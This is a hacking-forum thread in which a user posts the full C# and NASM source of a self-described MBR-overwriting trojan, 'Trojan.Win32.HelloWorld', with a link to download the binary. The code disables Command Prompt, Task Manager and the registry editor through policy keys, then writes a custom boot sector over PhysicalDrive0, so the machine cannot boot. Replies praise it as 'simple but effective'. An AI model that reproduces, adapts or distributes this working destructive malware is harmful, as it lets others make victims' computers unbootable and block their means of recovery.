Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Trojan.Win32.HelloWorld - Source Code

Here is the source code of my malware. Have fun!

Malware download link: kavastprogramming.wz.cz/Malware/helloworld.exe.

Code
// --- Trojan.Win32.HelloWorld ---
// - N16H7M4R3

using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Microsoft.Win32;

namespace Trojan.Win32.HelloWorld
{
   public partial class HelloWorld : Form
   {
       [DllImport("kernel32.dll")]
       private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTempFile);

       [DllImport("kernel32.dll")]
       private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);

       byte[] helloWorldBoot = null;
       IntPtr masterBootRecord = IntPtr.Zero;
       RegistryKey registryKey = null;
       private const uint GENERIC_ALL = 0x10000000;
       private const uint FILE_SHARE_READ = 0x1;
       private const uint FILE_SHARE_WRITE = 0x2;
       private const uint OPEN_EXISTING = 0x3;

       public HelloWorld()
       {
           InitializeComponent();

           try
           {
               Registry_Set();

               try
               {
                   BootFile_Set(Boot.helloworld);

                   try
                   {
                       MasterBootRecord_CreateFile();

                       try
                       {
                           MasterBootRecord_WriteFile(masterBootRecord, helloWorldBoot, 512);

                           Opacity = 100;
                       }
                       catch
                       {
                           Environment.Exit(0);
                       }
                   }
                   catch
                   {
                       Environment.Exit(0);
                   }
               }
               catch
               {
                   Environment.Exit(0);
               }
           }
           catch
           {
               Environment.Exit(0);
           }
       }

       private void Registry_Set()
       {
           registryKey = Registry.CurrentUser.CreateSubKey("Software\\Policies\\Microsoft\\Windows\\System");
           registryKey.SetValue("DisableCMD", 1);
           registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
           registryKey.SetValue("DisableTaskMgr", 1);
           registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
           registryKey.SetValue("DisableRegistryTools", 1);
       }

       private void BootFile_Set(byte[] bootFile)
       {
           helloWorldBoot = bootFile;
       }

       private void MasterBootRecord_CreateFile()
       {
           masterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
       }

       private void MasterBootRecord_WriteFile(IntPtr masterBootRecord, byte[] bootFile, uint bootFileSize)
       {
           WriteFile(masterBootRecord, bootFile, bootFileSize, out uint lpNumberOfBytesWritten, IntPtr.Zero);
       }

       private void HelloWorld_FormClosing(object sender, FormClosingEventArgs e)
       {
           e.Cancel = true;
       }
   }
}

And this is the source of the binary file.

Code
; --- Trojan.Win32.HelloWorld ---
; - N16H7M4R3

; Boot
BITS 16
org 0x7c00

; Jump to start
jmp start

; Start
start:
mov ax, cs
mov ds, ax
mov si, msg

; Print string
call printString

; Print string
printString:
push ax
cld

; Load next char
nextChar:
mov al, [si]
cmp al, 0
je done
call printChar
inc si
jmp nextChar

; Done
done:
jmp $

; Print char
printChar:
mov ah, 0x0e
int 0x10
ret

; Message
msg: db "Hello, World!", 13, 10, "N16H7M4R3", 13, 10, 0

; End of file
times 510 - ($-$$) db 0
dw 0xaa55
What does this do? I don't understand what it is doing! Can you please tell me about this!
(Nov 4, 2019 10:27 AM)the.alpha.beta.gamma Wrote:  What does this do? I don't understand what it is doing! Can you please tell me about this!

Description is in my previous post. Otherwise, it is a virus that attacks the MBR.
How do I contain the trojan file?
(Nov 4, 2019 12:43 PM)N16H7M4R3 Wrote:  Description is in my previous post. Otherwise, it is a virus that attacks the MBR.

Thanks, I will check it out
(Nov 4, 2019 11:30 PM)Blu-A Wrote:  How do I contain the trojan file?

Sorry... I don't understand you.


(Nov 6, 2019 05:10 AM)the.alpha.beta.gamma Wrote:  Thanks, I will check it out

Ok!
This virus is very easy to create.
MBR overwrite Cheecky lad LOL, code is basic but effective, nice work on the MBR code(seems copide from youtube but idk it might be your own sweat)despite this fact, it is a nice idea to elaborate a simple but functional virus like this! +1
As TheAnon.hf said, simple but effective. Nice work! R.i.p to the MBR though
Simple code to help learning. Thanks
(Nov 6, 2019 09:58 AM)roielevi12 Wrote:  This virus is very easy to create.

Yes, it is. So it is for fun...


(Nov 10, 2019 04:36 AM)TheAnon.hf Wrote:  MBR overwrite Cheecky lad LOL, code is basic but effective, nice work on the MBR code(seems copide from youtube but idk it might be your own sweat)despite this fact, it is a nice idea to elaborate a simple but functional virus like this! +1

Yes, this is very simple, but effective.
I do it for fun, because i love it.


(Nov 11, 2019 10:12 PM)SIM-2294117 Wrote:  As TheAnon.hf said, simple but effective. Nice work! R.i.p to the MBR though

Yes. Thanks!


(Nov 13, 2019 06:26 AM)Shelljacks Wrote:  Simple code to help learning. Thanks

Yes, it is simple.
(Nov 6, 2019 09:58 AM)roielevi12 Wrote:  This virus is very easy to create.

Thx for being so encouraging....


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SIM-566990131 hours ago 76 4,699 31 hours ago
Last Post: tqud
by zishu111Jul 20, 2026 07:33 PM 1 94 Jul 20, 2026 07:33 PM
Last Post: DramaKing
by lab232Feb 8, 2021 03:38 AM 3 139 Feb 8, 2021 03:38 AM
Last Post: Doomslayer